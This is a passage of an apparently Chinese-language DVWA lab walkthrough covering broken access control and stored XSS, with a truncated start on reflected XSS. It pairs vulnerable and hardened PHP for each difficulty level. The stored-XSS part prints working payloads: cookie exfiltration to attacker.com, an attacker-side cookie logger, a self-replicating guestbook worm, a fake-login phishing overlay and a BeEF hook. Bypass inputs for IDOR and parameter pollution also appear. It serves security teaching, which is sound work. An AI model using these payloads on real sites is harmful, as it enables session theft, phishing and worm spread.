// ★★★ 改进：根据角色限制访问 ★★★
if ($userRole != 'admin') {
    // ★★★ 问题：虽然检查了角色，但逻辑仍有漏洞 ★★★
    // 非管理员只能访问自己的数据
    // 但没有正确验证$userId是否是当前用户

    // 获取当前用户的ID
    $currentUserId = getCurrentUserId($currentUser);

    // ★★★ 逻辑漏洞：类型比较 ★★★
    // $_GET['id']是字符串，$currentUserId是整数
    // 如果使用==而不是===，可能被绕过
    if ($userId != $currentUserId) {
        echo "Access denied: You can only view your own data
";
        exit;
    }
}

// ★★★ 管理员可以访问所有用户数据 ★★★
if ($userRole == 'admin') {
    // 管理员权限：查看、修改、删除任何用户
}

// 查询用户信息
$query = "SELECT * FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, 'i', $userId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result && mysqli_num_rows($result) > 0) {
    $user = mysqli_fetch_assoc($result);

    // 显示用户信息
    echo "User Information
";
    echo "User ID: " . htmlspecialchars($user['user_id']) . "
";
    echo "Username: " . htmlspecialchars($user['user']) . "
";
    // ★★★ 改进：不再显示密码哈希 ★★★
}

// 生成新的CSRF token
generateSessionToken();

?>

新增防护

Anti-CSRF Token - 防止跨站请求伪造
基于数据库的角色 - 从数据库读取用户角色
资源所有权检查 - 验证用户是否可以访问该资源
使用预编译语句 - 防止SQL注入

仍存在的漏洞

核心问题：

类型比较漏洞 - 使用!=而不是!==
参数篡改 - 可以尝试各种输入绕过检查
逻辑漏洞 - 某些边界情况未考虑

绕过方法

方法1：类型混淆绕过

// 代码中：
if ($userId != $currentUserId) {
    // 拒绝访问
}

// 问题：$userId是字符串，$currentUserId是整数
// PHP的弱类型比较可能导致绕过

测试：

当前用户ID: 5

尝试：
?id=5    → 通过（相等）
?id=5.0  → 可能通过（5 != 5.0 is false）
?id=5e0  → 可能通过（科学计数法）
?id=05   → 可能通过（前导零）

方法2：参数污染

?id=5&id=2

某些服务器配置下，可能导致：
- 第一个id用于检查（通过）
- 第二个id用于查询（访问user_id=2）

方法3：会话固定

1
2
3

1. 创建新账户（普通用户）
2. 修改数据库，将角色改为admin（如果有SQL注入）
3. 或窃取管理员Session

Impossible 难度

攻击目标

完善的权限检查，真正安全。

后端代码分析



// ★★★ Impossible: 完善的权限管理 ★★★

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
    // 未登录，重定向
    header("Location: login.php");
    exit;
}

// ★★★ 核心防护1：验证CSRF Token ★★★
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    checkToken(
        $_REQUEST['user_token'],
        $_SESSION['session_token'],
        'index.php'
    );
}

// ★★★ 核心防护2：完善的权限检查类 ★★★
class Authorization {

    // 获取用户角色
    public static function getUserRole($username) {
        global $db; // PDO连接

        // ★★★ 使用PDO预编译 ★★★
        $stmt = $db->prepare('SELECT role FROM users WHERE user = :username');
        $stmt->bindParam(':username', $username, PDO::PARAM_STR);
        $stmt->execute();

        $result = $stmt->fetch(PDO::FETCH_ASSOC);

        return $result ? $result['role'] : 'user';
    }

    // 获取用户ID
    public static function getUserId($username) {
        global $db;

        $stmt = $db->prepare('SELECT user_id FROM users WHERE user = :username');
        $stmt->bindParam(':username', $username, PDO::PARAM_STR);
        $stmt->execute();

        $result = $stmt->fetch(PDO::FETCH_ASSOC);

        return $result ? $result['user_id'] : 0;
    }

    // ★★★ 核心方法：检查是否可以访问用户 ★★★
    public static function canAccessUser($currentUser, $targetUserId) {
        // 获取当前用户角色
        $role = self::getUserRole($currentUser);

        // ★★★ 管理员可以访问所有用户 ★★★
        if ($role === 'admin') {
            return true;
        }

        // ★★★ 普通用户只能访问自己 ★★★
        $currentUserId = self::getUserId($currentUser);

        // ★★★ 使用严格比较（===） ★★★
        // 防止类型混淆攻击
        return (int)$targetUserId === (int)$currentUserId;
    }

    // ★★★ 核心方法：检查是否可以修改用户 ★★★
    public static function canModifyUser($currentUser, $targetUserId) {
        // 获取角色
        $role = self::getUserRole($currentUser);

        // ★★★ 只有管理员可以修改其他用户 ★★★
        if ($role === 'admin') {
            return true;
        }

        // ★★★ 普通用户只能修改自己 ★★★
        $currentUserId = self::getUserId($currentUser);

        return (int)$targetUserId === (int)$currentUserId;
    }

    // ★★★ 核心方法：检查是否可以删除用户 ★★★
    public static function canDeleteUser($currentUser, $targetUserId) {
        // 获取角色
        $role = self::getUserRole($currentUser);

        // ★★★ 只有管理员可以删除用户 ★★★
        if ($role !== 'admin') {
            return false;
        }

        // ★★★ 管理员不能删除自己 ★★★
        $currentUserId = self::getUserId($currentUser);

        if ((int)$targetUserId === (int)$currentUserId) {
            return false;
        }

        return true;
    }
}

// ★★★ 获取并验证用户ID ★★★
$userId = $_GET['id'] ?? 0;

// ★★★ 输入验证 ★★★
if (!is_numeric($userId) || $userId <= 0) {
    echo "Invalid user ID
";
    exit;
}

// ★★★ 权限检查：是否可以访问该用户 ★★★
if (!Authorization::canAccessUser($currentUser, $userId)) {
    echo "Access denied: You don't have permission to view this user
";

    // ★★★ 记录未授权访问尝试 ★★★
    logSecurityEvent('Unauthorized access attempt', [
        'user' => $currentUser,
        'target_user_id' => $userId,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'timestamp' => date('Y-m-d H:i:s')
    ]);

    exit;
}

// ★★★ 安全地查询用户信息 ★★★
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, avatar FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
    // ★★★ 安全地显示信息 ★★★
    // 使用htmlspecialchars()防止XSS
    echo "User Information
";
    echo "User ID: " . htmlspecialchars($user['user_id']) . "
";
    echo "Username: " . htmlspecialchars($user['user']) . "
";
    echo "First Name: " . htmlspecialchars($user['first_name']) . "
";
    echo "Last Name: " . htmlspecialchars($user['last_name']) . "
";

    // ★★★ 不显示密码哈希 ★★★
} else {
    echo "User not found
";
}

// ★★★ 处理修改请求 ★★★
if (isset($_POST['update'])) {
    $updateUserId = $_POST['user_id'];

    // ★★★ 权限检查：是否可以修改该用户 ★★★
    if (!Authorization::canModifyUser($currentUser, $updateUserId)) {
        echo "Access denied: You don't have permission to modify this user
";

        logSecurityEvent('Unauthorized modify attempt', [
            'user' => $currentUser,
            'target_user_id' => $updateUserId,
            'ip' => $_SERVER['REMOTE_ADDR']
        ]);

        exit;
    }

    // 执行修改...
    // 使用PDO预编译语句
}

// ★★★ 处理删除请求 ★★★
if (isset($_POST['delete'])) {
    $deleteUserId = $_POST['delete_id'];

    // ★★★ 权限检查：是否可以删除该用户 ★★★
    if (!Authorization::canDeleteUser($currentUser, $deleteUserId)) {
        echo "Access denied: You don't have permission to delete this user
";

        logSecurityEvent('Unauthorized delete attempt', [
            'user' => $currentUser,
            'target_user_id' => $deleteUserId,
            'ip' => $_SERVER['REMOTE_ADDR']
        ]);

        exit;
    }

    // 执行删除...
}

// 生成新的CSRF token
generateSessionToken();

?>

完善的防护机制

多层防御：

认证检查 - 验证用户是否登录
CSRF Token - 防止跨站请求伪造
角色验证 - 从数据库读取真实角色
资源所有权 - 验证是否有权访问该资源
操作权限 - 不同操作有不同的权限要求
输入验证 - 验证所有输入参数
PDO预编译 - 防止SQL注入
输出编码 - htmlspecialchars()防XSS
审计日志 - 记录所有未授权访问尝试
严格类型比较 - 使用===防止类型混淆

权限检查流程：

用户请求访问user_id=2
    ↓
1. 检查是否登录 → 未登录则拒绝
    ↓
2. 验证CSRF Token → 无效则拒绝
    ↓
3. 验证输入参数 → 无效则拒绝
    ↓
4. 查询当前用户角色 → 从数据库
    ↓
5. 检查权限：
   - 管理员？→ 允许
   - 访问自己？→ 允许
   - 其他？→ 拒绝
    ↓
6. 记录访问日志
    ↓
7. 执行操作

为什么无法攻破？

所有攻击都被阻止：

攻击1：?id=2（越权访问）
权限检查 → 不是管理员 && 不是自己 → 拒绝
日志记录 → 记录未授权尝试

攻击2：伪造Referer
不依赖Referer → 使用CSRF Token → 无效

攻击3：类型混淆(?id=2.0)
强制类型转换 (int)$userId → 2
严格比较 === → 正确验证

攻击4：参数污染(?id=5&id=2)
只取第一个参数 → 正常处理

攻击5：会话劫持
即使获取Session，仍需通过权限检查

攻击6：修改数据库角色
从数据库读取角色 → 如果能修改数据库，已经完全控制系统

关键防御点：

基于角色的访问控制（RBAC） - 明确的角色和权限
资源所有权验证 - 每次都检查
最小权限原则 - 只给必要的权限
审计和监控 - 记录所有访问
深度防御 - 多层验证

防御建议

架构层面

1. 实施RBAC（基于角色的访问控制）

// 定义角色和权限
class Permission {
    const VIEW_OWN_DATA = 'view_own_data';
    const VIEW_ALL_DATA = 'view_all_data';
    const MODIFY_OWN_DATA = 'modify_own_data';
    const MODIFY_ALL_DATA = 'modify_all_data';
    const DELETE_USERS = 'delete_users';
}

class Role {
    private $permissions = [];

    public function addPermission($permission) {
        $this->permissions[] = $permission;
    }

    public function hasPermission($permission) {
        return in_array($permission, $this->permissions);
    }
}

// 定义角色
$adminRole = new Role();
$adminRole->addPermission(Permission::VIEW_ALL_DATA);
$adminRole->addPermission(Permission::MODIFY_ALL_DATA);
$adminRole->addPermission(Permission::DELETE_USERS);

$userRole = new Role();
$userRole->addPermission(Permission::VIEW_OWN_DATA);
$userRole->addPermission(Permission::MODIFY_OWN_DATA);

// 检查权限
if (!$currentRole->hasPermission(Permission::VIEW_ALL_DATA)) {
    die('Access denied');
}

2. 集中的权限检查

// 中间件/拦截器
class AuthMiddleware {
    public static function checkPermission($requiredPermission) {
        $currentUser = getCurrentUser();

        if (!$currentUser) {
            http_response_code(401);
            die('Unauthorized');
        }

        $role = getUserRole($currentUser);

        if (!$role->hasPermission($requiredPermission)) {
            http_response_code(403);
            logUnauthorizedAccess($currentUser, $requiredPermission);
            die('Forbidden');
        }
    }
}

// 使用
AuthMiddleware::checkPermission(Permission::DELETE_USERS);

代码层面

1. 每个操作都验证权限

// ❌ 错误：只在前端隐藏按钮
if ($role == 'admin') {
    echo '';
}

// ✅ 正确：在后端验证
function deleteUser($userId) {
    if (!hasPermission('delete_users')) {
        throw new UnauthorizedException();
    }

    // 执行删除
}

2. 验证资源所有权

// 查看用户资料
function viewProfile($userId) {
    $currentUserId = getCurrentUserId();

    // 检查：是管理员 或 是用户本人
    if (!isAdmin() && $currentUserId !== $userId) {
        throw new ForbiddenException();
    }

    // 查询并返回
}

3. 使用白名单

// 允许的操作列表
$allowedActions = ['view', 'edit', 'delete'];

$action = $_GET['action'];

if (!in_array($action, $allowedActions)) {
    die('Invalid action');
}

4. 防止参数篡改

// ❌ 危险：从用户输入获取角色
$role = $_POST['role'];

// ✅ 安全：从服务器端Session/数据库获取
$role = $_SESSION['user_role'];
// 或
$role = getUserRoleFromDatabase($_SESSION['user_id']);

监控层面

1. 记录所有授权失败

function logAuthorizationFailure($user, $action, $resource) {
    $log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'user' => $user,
        'action' => $action,
        'resource' => $resource,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT']
    ];

    // 写入日志
    file_put_contents(
        '/var/log/security/authz_failures.log',
        json_encode($log) . "\n",
        FILE_APPEND
    );

    // 如果失败次数过多，触发警报
    if (countRecentFailures($user) > 10) {
        alertSecurity("Possible privilege escalation attempt by $user");
    }
}

2. 异常行为检测

// 检测异常访问模式
function detectAnomalousAccess($userId, $accessedUserId) {
    // 用户A频繁尝试访问不同用户
    $recentAccesses = getRecentAccesses($userId, 3600); // 过去1小时

    $uniqueTargets = array_unique($recentAccesses);

    if (count($uniqueTargets) > 20) {
        // 可能在枚举用户
        alertSecurity("User $userId is accessing too many different users");
        lockAccount($userId, 3600);
    }
}

框架层面

Laravel示例

// 定义策略
class UserPolicy {
    public function view(User $currentUser, User $user) {
        // 管理员可以查看所有用户
        if ($currentUser->isAdmin()) {
            return true;
        }

        // 用户只能查看自己
        return $currentUser->id === $user->id;
    }

    public function update(User $currentUser, User $user) {
        return $currentUser->isAdmin() || $currentUser->id === $user->id;
    }

    public function delete(User $currentUser, User $user) {
        // 只有管理员可以删除
        // 且不能删除自己
        return $currentUser->isAdmin() && $currentUser->id !== $user->id;
    }
}

// 在控制器中使用
public function show(User $user) {
    $this->authorize('view', $user);

    return view('users.show', compact('user'));
}

使用中间件

// 定义中间件
class AdminMiddleware {
    public function handle($request, $next) {
        if (!auth()->user()->isAdmin()) {
            abort(403, 'Forbidden');
        }

        return $next($request);
    }
}

// 路由中使用
Route::middleware(['auth', 'admin'])->group(function () {
    Route::get('/admin/users', 'AdminController@users');
    Route::delete('/admin/users/{id}', 'AdminController@deleteUser');
});

总结对比

特性	Low	Medium	High	Impossible
认证检查	✅	✅	✅	✅
授权检查	❌	弱Referer检查	角色检查	完善检查
资源所有权	❌	❌	弱验证	✅ 严格验证
CSRF防护	❌	❌	✅	✅
角色管理	❌	弱角色检查	数据库角色	RBAC
输入验证	❌	❌	❌	✅
审计日志	❌	❌	❌	✅
类型安全	❌	❌	==	===
攻击难度	极易	简单	中等	极难

常见攻击向量

1. 直接对象引用（IDOR）

1 2	正常：/user/profile?id=123（自己的ID）攻击：/user/profile?id=456（他人的ID）

2. 参数污染

1 2	/admin?role=admin&user_id=5 /api/users/5?admin=true

3. 路径遍历

1 2	/../../admin/panel /admin/%2e%2e/panel

4. HTTP方法绕过

1 2	GET /admin → 403 Forbidden POST /admin → 200 OK（如果只检查GET）

实战建议

渗透测试清单：

✅ 枚举所有功能和端点
✅ 测试水平越权（访问其他用户数据）
✅ 测试垂直越权（访问管理员功能）
✅ 修改用户ID/角色参数
✅ 测试IDOR漏洞
✅ 尝试不同HTTP方法
✅ 检查隐藏的管理功能

防御清单：

✅ 实施RBAC
✅ 每个操作都验证权限
✅ 验证资源所有权
✅ 使用CSRF Token
✅ 记录所有授权失败
✅ 最小权限原则
✅ 定期审计权限

道德准则：

只在授权环境测试
不越权访问真实用户数据
学习是为了构建安全的访问控制

DVWA - XSS Stored (存储型XSS) 攻防练习详解

2025-11-20T15:31:37.143Z

漏洞简介

什么是存储型XSS（Stored Cross-Site Scripting）？

存储型XSS也称为持久化XSS，攻击者将恶意脚本存储在服务器端（数据库、文件等），当其他用户访问包含恶意数据的页面时，脚本会自动执行。

攻击流程：

攻击者提交恶意脚本到服务器
服务器将恶意脚本存储到数据库
其他用户访问页面
服务器从数据库读取恶意脚本并输出
用户浏览器执行恶意脚本

危害：

持久化攻击（一次注入，多次触发）
影响所有访问用户
蠕虫传播（自我复制）
窃取管理员Cookie
网站挂马
完全控制用户会话

与反射型XSS的区别：

反射型：一次性，需要用户点击链接
存储型：持久化，所有访问用户都会中招

DVWA场景：
留言板（Guestbook），用户可以提交姓名和留言。

Low 难度

攻击目标

完全未过滤的留言板，恶意脚本永久存储。

后端代码分析



// 检查是否提交了留言表单
// isset() - 检查变量是否存在且非NULL
if( isset( $_POST[ 'btnSign' ] ) ) {

    // ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★
    // $_POST - 从POST请求体获取数据
    // trim() - 只是去除首尾空格，不做任何安全处理
    // mysql_real_escape_string() - 只防SQL注入，不防XSS！
    //
    // 问题：mysql_real_escape_string只转义SQL特殊字符
    // 不转义HTML特殊字符<>，所以XSS payload可以正常存储
    $name    = trim( $_POST[ 'txtName' ] );
    $message = trim( $_POST[ 'mtxMessage' ] );

    // 对SQL特殊字符转义（防SQL注入）
    // 但不防止XSS攻击！
    $name    = mysql_real_escape_string( $name );
    $message = mysql_real_escape_string( $message );

    // ★★★ 将用户输入直接插入数据库 ★★★
    // INSERT INTO - SQL插入语句
    // guestbook - 留言板表
    // name, comment - 字段名
    // 恶意脚本被原封不动地存储到数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

    // 执行SQL插入
    $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

    // 显示成功消息
    // header() - 设置HTTP响应头
    // Location - 重定向到指定URL
    //mysql_close();
}

?>

显示留言的代码：



// ★★★ 从数据库读取并显示留言 ★★★
// SELECT - SQL查询语句
// guestbook - 留言板表
$query  = "SELECT * FROM guestbook";

// 执行查询
$result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

// 遍历所有留言
// mysql_fetch_assoc() - 获取结果行作为关联数组
while( $row = mysql_fetch_assoc( $result ) ) {

    // ★★★ 危险操作：直接输出数据库内容，无任何编码 ★★★
    // $row[ 'comment' ] - 留言内容（可能包含恶意脚本）
    // $row[ 'name' ] - 姓名（可能包含恶意脚本）
    //
    // 问题：直接输出，浏览器会执行其中的脚本！
    echo "";
    echo "" . $row[ 'name' ] . "
";
    echo "" . $row[ 'comment' ] . "
";
    echo "
";
}

// 关闭数据库连接
mysql_close();

?>

漏洞分析

存储流程：

1	用户输入 → trim() → mysql_real_escape_string() → 存入数据库

输出流程：

1	数据库 → 直接输出 → 浏览器执行

核心问题：

mysql_real_escape_string()不防XSS - 只转义'、"、\等SQL字符
不转义HTML字符 - <>、&等直接存储
输出时无编码 - 直接echo数据库内容
永久存储 - 恶意脚本一直存在，所有访问者都会执行

攻击步骤

步骤1：基础XSS攻击

攻击1：在Name字段注入


<script>alert('XSS')script>


Normal message


数据库存储：name = '<script>alert('XSS')script>'
每次有人访问留言板，都会弹出XSS对话框

攻击2：在Message字段注入


Alice


<script>alert(document.cookie)script>


所有访问者都会看到自己的Cookie

步骤2：窃取所有用户Cookie


<script>
// 将Cookie发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
script>


<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器（steal.php）：


// 记录所有访问者的Cookie
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

$log = fopen('stolen_cookies.txt', 'a');
fwrite($log, "$time - $ip - $cookie\n");
fclose($log);

// 返回1x1透明图片（不让用户发现）
header('Content-Type: image/png');
echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
?>

步骤3：XSS蠕虫（自我复制）

<script>
// 读取自己的恶意代码
var payload = document.querySelector('.comment .message').innerHTML;

// 自动提交留言表单，复制自己
var xhr = new XMLHttpRequest();
xhr.open('POST', '/dvwa/vulnerabilities/xss_s/', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('txtName=Worm&mtxMessage=' + encodeURIComponent(payload) + '&btnSign=Sign+Guestbook');
script>

步骤4：钓鱼攻击

<script>
// 覆盖整个页面内容
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;">
    <div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;">
        <h2>Session Expiredh2>
        <p>Please login again to continue:p>
        <form action="http://attacker.com/phish.php" method="POST">
            <input type="text" name="user" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
            <input type="password" name="pass" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
            <button type="submit" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">Loginbutton>
        form>
    div>
div>
`;
script>

步骤5：BeEF挂钩（控制浏览器）


<script src="http://attacker.com:3000/hook.js">script>

Medium 难度

攻击目标

添加了简单的过滤，但可以绕过。

后端代码分析



if( isset( $_POST[ 'btnSign' ] ) ) {

    // 获取用户输入
    $name    = trim( $_POST[ 'txtName' ] );
    $message = trim( $_POST[ 'mtxMessage' ] );

    // ★★★ 新增：使用strip_tags()移除HTML标签 ★★★
    // strip_tags() - 从字符串中去除HTML和PHP标签
    // 参数1：要处理的字符串
    // 参数2：允许的标签（可选，这里未指定，移除所有标签）
    // 返回值：移除标签后的字符串
    //
    // 作用：移除 → alert(1)
    $name = strip_tags( addslashes( $name ) );

    // ★★★ 新增：使用mysqli_real_escape_string()转义 ★★★
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 新增：使用strip_tags()处理留言内容 ★★★
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // 插入数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    //mysql_close();
}

?>

新增防护

strip_tags() - 移除所有HTML标签
addslashes() - 添加反斜杠转义

仍存在的漏洞

关键问题：

虽然使用了strip_tags()，但：

Name字段限制长度 - 通常很短，难以注入
Message字段也使用strip_tags() - 标签被移除
但输出时仍未编码 - 可能存在绕过方式

绕过方法

Medium难度的限制：

DVWA Medium难度的存储型XSS实际上很难绕过，因为：

Name字段长度限制
Message字段使用strip_tags()
几乎所有HTML标签都被移除

理论绕过（在某些场景下）：

如果输出上下文特殊，可能利用：


<script>var name = '';script>




<input value="">

实际情况：

Medium难度的DVWA存储型XSS使用了strip_tags()，基本可以防止大部分攻击。但这不代表strip_tags()是完美的防御，在某些复杂场景下仍可能被绕过。

High 难度

攻击目标

更严格的过滤，但仍有绕过可能。

后端代码分析



if( isset( $_POST[ 'btnSign' ] ) ) {

    // 获取用户输入
    $name    = trim( $_POST[ 'txtName' ] );
    $message = trim( $_POST[ 'mtxMessage' ] );

    // ★★★ Name字段：使用strip_tags()和addslashes() ★★★
    $name = strip_tags( addslashes( $name ) );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ Message字段：使用strip_tags()和正则过滤 ★★★
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // 插入数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    //mysql_close();
}

?>

新增防护

High难度与Medium类似，主要防护：

strip_tags() - 移除HTML标签
严格的输入验证

为什么难以绕过？

由于使用了strip_tags()，所有HTML标签都被移除，很难进行传统的XSS攻击。

Impossible 难度

攻击目标

使用htmlspecialchars()和PDO，真正安全。

后端代码分析



if( isset( $_POST[ 'btnSign' ] ) ) {

    // ★★★ 改进1：验证Anti-CSRF token ★★★
    // checkToken() - 验证CSRF token
    // 防止跨站请求伪造攻击
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取用户输入
    $name    = trim( $_POST[ 'txtName' ] );
    $message = trim( $_POST[ 'mtxMessage' ] );

    // ★★★ 核心防护1：htmlspecialchars()编码 ★★★
    // htmlspecialchars() - 将特殊字符转换为HTML实体
    // ENT_QUOTES - 转换单引号和双引号
    // 'UTF-8' - 字符编码
    //
    // 转换：
    // < → <
    // > → >
    // & → &
    // " → "
    // ' → '
    $name    = htmlspecialchars( $name );
    $message = htmlspecialchars( $message );

    // ★★★ 核心防护2：PDO预编译语句 ★★★
    // $db - PDO数据库连接对象
    // prepare() - 准备SQL语句
    // :name, :message - 命名参数占位符
    //
    // 作用：SQL结构和数据完全分离，防止SQL注入
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

    // ★★★ 绑定参数 ★★★
    // bindParam() - 将变量绑定到参数
    // PDO::PARAM_STR - 参数类型为字符串
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );

    // ★★★ 执行插入 ★★★
    // execute() - 执行预编译语句
    $data->execute();
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

显示留言（同样使用htmlspecialchars）：



// 从数据库读取留言
$data = $db->prepare( 'SELECT comment, name FROM guestbook' );
$data->execute();

// 遍历显示
while( $row = $data->fetch() ) {
    // ★★★ 关键：输出时也进行HTML编码 ★★★
    // 虽然存储时已编码，但最佳实践是输出时也编码
    // 这样即使数据库中存在恶意数据，也会被安全显示
    echo "";
    echo "" . htmlspecialchars( $row[ 'name' ] ) . "
";
    echo "" . htmlspecialchars( $row[ 'comment' ] ) . "
";
    echo "
";
}

?>

完善的防护机制

多层防御：

CSRF Token - 防止跨站请求伪造
htmlspecialchars() - 输入时编码
PDO预编译 - 防止SQL注入
输出时再次编码 - 双重保险

工作流程：

输入：<script>alert('XSS')script>

htmlspecialchars()编码：
&lt;script&gt;alert('XSS')&lt;/script&gt;

存入数据库：
&lt;script&gt;alert('XSS')&lt;/script&gt;

从数据库读取：
&lt;script&gt;alert('XSS')&lt;/script&gt;

再次htmlspecialchars()：
&lt;script&gt;alert('XSS')&lt;/script&gt;

浏览器显示（纯文本）：
<script>alert('XSS')script>

不会执行脚本！

为什么无法攻破？

所有攻击都被转义：

攻击1：<script>alert('XSS')script>
存储：<script>alert('XSS')</script>
显示：<script>alert('XSS')script>（文本）
结果：失败

攻击2：<img src=x onerror=alert('XSS')>
存储：<img src=x onerror=alert('XSS')>
显示：<img src=x onerror=alert('XSS')>（文本）
结果：失败

攻击3："><script>alert('XSS')script>
存储："><script>alert('XSS')</script>
显示："><script>alert('XSS')script>（文本）
结果：失败

防御建议

代码层面

1. 输入输出双重编码

// 输入时编码
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');

// 存入数据库
$stmt = $pdo->prepare("INSERT INTO comments (content) VALUES (:content)");
$stmt->execute(['content' => $input]);

// 输出时再次编码（双重保险）
$stmt = $pdo->query("SELECT content FROM comments");
while ($row = $stmt->fetch()) {
    echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');
}

2. 使用专门的XSS过滤库

// HTML Purifier（推荐）
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

3. 内容安全策略（CSP）

1 2	// 设置严格的CSP header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

// 防止XSS窃取Cookie
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

数据库层面

存储编码后的数据 - 存入数据库前先编码
输出时再次编码 - 双重保险
定期审计 - 检查数据库中是否有恶意数据

监控层面

WAF规则 - 检测XSS payload
日志监控 - 记录可疑输入
定期扫描 - 使用工具扫描XSS漏洞

总结对比

特性	Low	Medium	High	Impossible
输入过滤	❌	strip_tags	strip_tags	htmlspecialchars
输出编码	❌	❌	❌	✅ htmlspecialchars
SQL防护	mysql_escape	mysqli_escape	mysqli_escape	PDO预编译
CSRF防护	❌	❌	❌	✅ Token
持久化	✅	✅	✅	✅（但安全）
攻击难度	极易	较难	难	不可能
影响范围	所有用户	所有用户	所有用户	无影响

实战建议

攻击演示：

Low难度 - 直接注入
Medium难度 - 尝试各种绕过（较难）
High难度 - 基本无法绕过strip_tags()
Impossible难度 - 完全安全

实战技巧：

存储型XSS影响所有用户，危害更大
优先测试管理员会访问的页面
可以结合CSRF进行自动化蠕虫攻击
使用BeEF可以完全控制受害者浏览器

防御重点：

输入输出都要编码
使用htmlspecialchars()而不是strip_tags()
设置HttpOnly Cookie
实施CSP策略

道德准则：

只在授权环境测试
不传播XSS蠕虫到真实网站
学习目的是保护用户安全

DVWA - XSS Reflected (反射型XSS) 攻防练习详解

2025-11-20T15:31:37.143Z

漏洞简介

什么是反射型XSS（Reflected Cross-Site Scripting）？

反射型XSS是一种客户端代码注入攻击，攻击者将恶意脚本注入到URL参数或表单中，服务器将这些恶意内容”反射”回页面并在浏览器中执行。

攻击流程：

攻击者构造包含恶意脚本的URL
受害者点击恶意链接
服务器将恶意脚本反射到响应页面
浏览器执行恶意脚本

危害：

窃取Cookie和Session
钓鱼攻击
键盘记录
篡改页面内容
重定向到恶意网站
传播蠕虫

与存储型XSS的区别：

反射型：恶意代码在URL中，不存储在服务器
存储型：恶意代码存储在数据库，持久化攻击

Low 难度

攻击目标

完全未过滤的输入输出，直接执行用户脚本。

后端代码分析



// ★★★ 声明HTTP响应头：字符集为UTF-8 ★★★
// header() - 发送原始HTTP头到客户端
// Content-Type - 指定内容类型
// text/html - HTML文档
// charset=utf-8 - 字符编码为UTF-8
header ("Content-Type: text/html;charset=utf-8");

// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_GET['name'] - 从URL参数获取name的值
if( isset( $_GET[ 'name' ] ) ) {

    // ★★★ 危险操作：直接输出用户输入，无任何过滤！ ★★★
